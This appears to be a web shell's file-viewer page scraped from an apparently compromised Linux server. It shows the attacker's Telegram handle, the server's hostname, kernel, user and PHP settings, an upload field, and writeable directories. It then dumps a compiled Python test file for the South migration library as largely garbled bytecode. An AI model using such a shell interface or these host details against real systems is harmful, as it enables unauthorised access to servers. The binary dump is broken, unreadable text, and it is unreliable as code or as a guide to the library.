https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /proc/self/root/lib/python2.7/site-packages/south/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/lib/python2.7/site-packages/south/tests/autodetection.pyc
�
�w�Rc@s�ddlmZddlmZmZddlmZddlmZddlm	Z	ddl
mZddlm
Z
yddlmZWnek
r�eZnXd	ejfd
��YZdefd��YZd
S(i����(tunittest(tAutoChangestInitialChanges(t
Migrations(t
Monkeypatcher(tfreezer(tFakeORM(tSchemaMigration(t
reload_moduletTestComparisoncBs2eZdZd�Zd�Zd�Zd�ZRS(s9
    Tests the comparison methods of startmigration.
    cCs�|jtjdgidd6fdgidd6f�t�|jtjdddgidd6dd6fdddgidd6dd6f�t�dS(	s,Test with a completely unchanged definition.s*django.db.models.fields.related.ForeignKeysorm['southdemo.Lizard']ttotohhaittheret	somewheretfromN(tassertEqualRtdifferent_attributestFalse(tself((s=/usr/lib/python2.7/site-packages/south/tests/autodetection.pyttest_no_changes #cCs�|jtjddgidd6fdgidd6f�t�|jtjdgidd6fddgidd6f�t�|jtjddgidd6fddgidd6f�t�|jtjddgidd6fddgidd6f�t�|jtjddgifdgif�t�|jtjdgifddgif�t�|jtjddgifddgif�t�|jtjddgifddgif�t�d	S(
s(Test with a changed positional argument.s!django.db.models.fields.CharFieldthitfooR
tbyetpitpisdadadt45fdfdfN(RRRtTrueR(R((s=/usr/lib/python2.7/site-packages/south/tests/autodetection.pyttest_pos_change*sPcCs�|jtjddgidd6fddgidd6f�t�|jtjdgidd6fdgidd6f�t�|jtjddgidd6fddgidd6f�t�|jtjdgidd6fdgif�t�|jtjddgidd6fddgif�t�|jtjdgifdgidd6f�t�|jtjddgifddgidd6f�t�dS(	sTest a changed keyword arguments!django.db.models.fields.CharFieldRRR
tbluetbtaN(RRRR(R((s=/usr/lib/python2.7/site-packages/south/tests/autodetection.pyttest_kwd_changensFcCs|jtjdgifdgif�t�|jtjddgifddgif�t�|jtjdgidd6fdgidd6f�t�|jtjddgidd6fddgidd6f�t�|jtjddgidd6fddgidd6f�t�|jtjddgifdgid	d6f�t�|jtjddgifdgidd6f�t�|jtjddgifdgid
d6f�t�|jtjddgifdgidd6f�t�dS(
s8Test that the backwards-compatable comparison is workingsmodels.CharFields!django.db.models.fields.CharFieldtackRR
thahtyouthehsorm['appname.hah']trrrs django.db.models.fields.IntFieldN(RRRRR(R((s=/usr/lib/python2.7/site-packages/south/tests/autodetection.pyttest_backcompat_nochange�sZ(t__name__t
__module__t__doc__RRRR%(((s=/usr/lib/python2.7/site-packages/south/tests/autodetection.pyR	s
		D	=tTestNonManagedIgnoredcBs�eZdgZiiidd6dd6dd6d6dgid	d
6fd6dgid
d6d	d6fd6dgifd6d6Zd�Zd�Zd�Zd�ZRS(tnon_managedtLegacytobject_names'legacy_table'tdb_tableRtmanagedtMetas!django.db.models.fields.AutoFieldRtprimary_keytids!django.db.models.fields.CharFieldt10t
max_lengthtnulltnames$django.db.models.fields.IntegerFieldtsizesnon_managed.legacycCsDtd�}t|�}|j�}t|�r@|jd�ndS(NR*s5Initial migration creates table for non-managed model(RRtget_changestlisttfail(Rt
migrationstchangestchange_list((s=/usr/lib/python2.7/site-packages/south/tests/autodetection.pyttest_not_added_inits
c	s�i�dtf�fd��Y}td�}t|d�}td|d�d|d|j�}|j�}t|�r�|jd�ndS(	NtEmptyMigrationcs/eZdZd�Zd�Z�ZdgZRS(s!Serves as fake previous migrationcSsdS(N((Rtorm((s=/usr/lib/python2.7/site-packages/south/tests/autodetection.pytforwardsscSsdS(N((RR?((s=/usr/lib/python2.7/site-packages/south/tests/autodetection.pyt	backwardssR*(R&R'R(R@RAtmodelst
complete_apps((t
empty_defs(s=/usr/lib/python2.7/site-packages/south/tests/autodetection.pyR>s
		R*R:told_defstold_ormtnew_defss2Auto migration creates table for non-managed model(RRRRt	full_defsR7R8R9(RR>R:t	empty_ormR;R<((RDs=/usr/lib/python2.7/site-packages/south/tests/autodetection.pyttest_not_added_autos
c	s�i}tjdg�}dtf�fd��Y}td�}t|d�}td|d�jd|d|�}|j�}t|�r��j	d�ndS(	NR*tInitialMigrationcs2eZdZd�Zd�Z�jZdgZRS(s!Serves as fake previous migrationcSsdS(N((RR?((s=/usr/lib/python2.7/site-packages/south/tests/autodetection.pyR@.scSsdS(N((RR?((s=/usr/lib/python2.7/site-packages/south/tests/autodetection.pyRA1sR*(R&R'R(R@RARHRBRC((R(s=/usr/lib/python2.7/site-packages/south/tests/autodetection.pyRK+s
			R:RERFRGs2Auto migration deletes table for non-managed model(
Rtfreeze_appsRRRRRHR7R8R9(RRDRERKR:tinitial_ormR;R<((Rs=/usr/lib/python2.7/site-packages/south/tests/autodetection.pyttest_not_deleted_auto's
		c	s�iiidd6dd6dd6d6dgid	d
6fd6dgid
d6d	d6fd6d6�dtf�fd��Y}ddlm}t|�td�}t|d�}td|d�d|d|j�}|j�}t	|�r�|j
d�ndS(NR+R,s'legacy_table'R-RR.R/s!django.db.models.fields.AutoFieldRR0R1s!django.db.models.fields.CharFieldR2R3R4R5snon_managed.legacyRKcs/eZdZd�Zd�Z�ZdgZRS(s!Serves as fake previous migrationcSsdS(N((RR?((s=/usr/lib/python2.7/site-packages/south/tests/autodetection.pyR@QscSsdS(N((RR?((s=/usr/lib/python2.7/site-packages/south/tests/autodetection.pyRATsR*(R&R'R(R@RARBRC((t	fake_defs(s=/usr/lib/python2.7/site-packages/south/tests/autodetection.pyRKNs
		i����(RBR*R:RERFRGs2Auto migration changes table for non-managed model(RR*RBRRRRRHR7R8R9(RRKt$dummy_import_to_force_loading_modelsR:RMR;R<((ROs=/usr/lib/python2.7/site-packages/south/tests/autodetection.pyttest_not_modified_autoDs$%

(R&R'tinstalled_appsRHR=RJRNRQ(((s=/usr/lib/python2.7/site-packages/south/tests/autodetection.pyR)�s				N(tsouth.testsRtsouth.creator.changesRRtsouth.migration.baseRRt
south.creatorRt	south.ormRtsouth.v2Rtdjango.utils.six.movesRtImportErrortreloadtTestCaseR	R)(((s=/usr/lib/python2.7/site-packages/south/tests/autodetection.pyt<module>s

�

https://t.me/AnonymousX5 - 2025